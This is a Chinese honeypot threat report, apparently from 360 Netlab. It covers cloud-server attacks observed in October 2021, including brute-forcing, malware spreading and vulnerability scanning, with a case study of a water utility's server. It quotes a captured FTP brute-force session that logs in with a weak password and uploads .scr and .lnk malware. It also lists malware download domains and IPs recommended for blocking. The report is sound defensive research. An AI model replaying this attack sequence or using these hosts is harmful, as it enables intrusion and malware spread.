mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">188.166. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">25</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">9</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">139.59. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">45</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">9</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">128.199. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">36</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">9</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">47.245. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">41</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">9</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">130.61. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">14</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">139.224. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">21</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">140.238. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">23</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">121.37. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">7</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">124.70. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h2 id="4-">4 案例分析</h2><p>在对云服务器密码爆破攻击行为的分析中，一个IP地址为<strong>47.92.*.*</strong>的云主机引起了我们的兴趣。其特点包括：该IP地址同时提供了<strong>某市供排水公司</strong>官网服务；该IP地址对外发起了大量攻击；该IP地址可能存在公民信息泄漏隐患。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/9-2.png" class="kg-image" alt loading="lazy"></figure><p>该网站可能存储了大量的公民个人身份信息和水费账户信息。考虑到黑客入侵后可能获得了系统全部权限，上述公民信息有泄漏隐患。</p><p>这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---1.png" class="kg-image" alt loading="lazy"></figure><p>该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---2.png" class="kg-image" alt loading="lazy"></figure><p>以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程：</p><!--kg-card-begin: markdown--><p>USER admin<br>
PASS 123qwe!@#<br>
PWD<br>
CWD /<br>
PASV<br>
STOR <a href="//Photo.scr">//Photo.scr</a><br>
PASV<br>
PASV<br>
STOR <a href="//AV.scr">//AV.scr</a><br>
PASV<br>
PASV<br>
STOR <a href="//Video.lnk">//Video.lnk</a><br>
PASV<br>
TYPE A<br>
PASV</p>
<!--kg-card-end: markdown--><h2 id="5-">5 防护建议 </h2><p>对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。</p><h2 id="6-">6 联系我们</h2><p>感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。</p><h1></h1> | 1 概述
云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。
360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现云上网站“某市供排水总公司”持续地对外发起网络攻击行为。
2 云服务器攻击总体情况
由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。
我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖国内外十几家主流厂商的云服务器IP段列表。
云服务器攻击源IP的时间趋势和空间分布
从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。
在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.*.*的云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.*.*的云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。
从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。
位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。
3 云服务器上的恶意行为
使用云产品进行攻击
使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、僵尸网络的C2服务器等。
在密码爆破攻击方面，10月份我们共监测到854个云服务器源IP发起了约25.7万次的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。
下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址。
IP地址
协议/端口
次数
143.198.*.*
Telnet/TCP23
80,714
35.204.*.*
Telnet/TCP23, TCP2323
19,466
137.184. *.*
Telnet/TCP23,
TCP2323
16,709
161.35. *.*
Telnet/TCP23
7,461
139.162. *.*
Telnet/TCP23,
TCP2323
7,340
192.81. *.*
Telnet/TCP23, TCP2323
5,138
167.99. *.*
Telnet/TCP23
5,123
143.198. *.*
Telnet/TCP23, TCP2323
4,633
174.138. *.*
Telnet/TCP23,
TCP2323
4,553
137.184. *.*
Telnet/TCP23, TCP2323
3,807
此外，我们发现一个IP地址为47.92.*.*的云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是某市供排水总公司。我们对该案例进行了详细分析，具体内容请见第4节。
在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到3324个云计算IP地址传播了157种恶意软件约88.2万次。
云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。
下表是传播恶意软件最活跃的10个IP。
IP地址
传播次数
恶意软件家族
152.136. *.*
22,986
5
81.70. *.*
18,495
4
101.35. *.*
13,444
6
180.76. *.*
12,336
5
42.193. *.*
11,948
4
106.12. *.*
11,432
4
118.195.*.*
9,934
4
121.4. *.*
8,482
6
118.195. *.*
8,293
4
106.13. *.*
7,543
4
下表是传播恶意软件家族种类最为广泛的10个IP。IP传播的恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。
IP地址
传播次数
恶意软件家族
47.103. *.*
1,246
12
82.156*.*
194
12
39.99. *.*
160
12
82.157. *.*
703
12
1.15. *.*
544
11
1.13. *.*
105
11
35.225. *.*
756
10
52.131. *.*
2,946
10
81.70. *.*
764
10
101.34. *.*
780
10
下面是恶意软件的下载URL中提取的下载服务器的IP/域名，建议屏蔽：
域名/IP地址
源IP数量
恶意软件家族
下载次数
oracle.zzhreceive.top
1,782
9
263,116
112.253.11.38
1,415
1
28,160
194.87.139.103
772
3
52,833
45.133.203.192
735
3
42,745
py2web.store
691
1
20,528
crypto.htxreceive.top
202
5
238,266
194.145.227.21
64
1
143
199.19.226.117
36
1
434
185.243.56.167
27
3
1,240
45.9.148.37
24
4
239
卸载云主机安全产品
主流的云厂商在提供云服务的同时提供配套的免费或收费的主机安全产品。在开始进攻其他云服务器时，黑客通常首先会尝试卸载目标主机上预装的安全产品，以避免后续攻击过程被发现和阻止。
以下是发送卸载云主机安全产品的恶意软件次数最多的10个IP。
IP地址
恶意软件家族
传播次数
121.4. *.*
28
6,912
101.35*.*
29
6,624
106.12. *.*
25
5,841
52.131. *.*
40
5,309
1.117. *.*
21
4,588
180.76. *.*
21
4,222
101.35. *.*
22
4,123
106.13. *.*
23
3,910
49.232. *.*
24
3,778
1.15. *.*
23
3,618
执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。
域名/IP地址
源IP数量
下载次数
恶意软件数
oracle.zzhreceive.top
1,136
181,556
74
112.253.11.38
1,128
19,307
7
45.133.203.192
869
136,761
114
py2web.store
769
45,032
8
194.87.139.103
763
110,061
10
194.145.227.21
168
727
18
103.209.103.16
13
116
11
154.66.240.59
8
3,537
8
86.105.195.120
3
416
10
这些恶意软件的下载服务器主要分布在欧洲和美国。
漏洞的扫描和攻击
大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。
被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备和程序也是主要的被攻击目标。
以下是利用的漏洞种类最多的10个IP。
IP地址
攻击次数
漏洞数量
193.122.*.*
68,021
20
188.166. *.*
25
9
139.59. *.*
45
9
128.199. *.*
36
9
47.245. *.*
41
9
130.61. *.*
14
8
139.224. *.*
21
8
140.238. *.*
23
8
121.37. *.*
8
